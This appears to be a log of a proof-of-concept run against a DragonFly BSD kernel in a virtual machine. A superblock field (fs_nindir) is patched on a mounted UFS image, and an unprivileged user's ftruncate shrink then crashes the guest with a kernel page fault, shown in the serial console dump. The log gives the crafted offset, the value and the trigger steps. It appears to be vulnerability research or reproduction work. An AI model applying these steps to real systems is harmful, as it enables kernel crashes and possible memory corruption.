=== DF-3172 baseline run (guest DragonFly 6.5-DEVELOPMENT #0 INVARIANTS, x86_64) ===

[host] vm.sh run_root 'cd /root/df3172 && sh setup1.sh'
PHASE1_OK
   (newfs -b 4096 on 128M vn0 image; mounted /mnt/poc rw; /mnt/poc/d chown maxx)

[host] vm.sh run_user '/tmp/t3172 /mnt/poc/d/f extend && stat -f "size=%z blocks=%b" /mnt/poc/d/f'
uid=1001 euid=1001 path=/mnt/poc/d/f mode=extend
[1] ftruncate extend to 560000000000 ...
[2] extend ok (sparse, triple-indirect allocated under LEGIT geometry)
size=560000000000 blocks=32

[host] vm.sh run_root 'cd /root/df3172 && sh setup2.sh'
patched int32 sb+116 = 512 (0x00000200)     # fs_nindir 1024 -> 512, single int32
PHASE2_OK
   (umount; craft; remount — mount accepted the crafted fs_nindir without complaint)

[host] vm.sh run_user '/tmp/t3172 /mnt/poc/d/f shrink; echo TRIGGER_RC=$?'
uid=1001 euid=1001 path=/mnt/poc/d/f mode=shrink
[1] ftruncate shrink to 550831706112 ...
   << ssh session never returns; guest panics >>

=== serial console (vm.sh log) ===
Fatal trap 12: page fault while in kernel mode
cpuid = 5; lapic id = 5
fault virtual address	= 0xfffff80066de7000
fault code		= supervisor write data, page not present
instruction pointer	= 0x8:0xffffffff80bca655
stack pointer	        = 0x10:0xfffff80118673540
frame pointer	        = 0x10:0xfffff801186735e8
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 1114
current thread          = pri 6
kernel: type 12 trap, code=2

CPU5 stopping CPUs: 0x0000001f
 stopped
Stopped at      memset+0xd5:    repe stosq      %es:(%rdi)
db>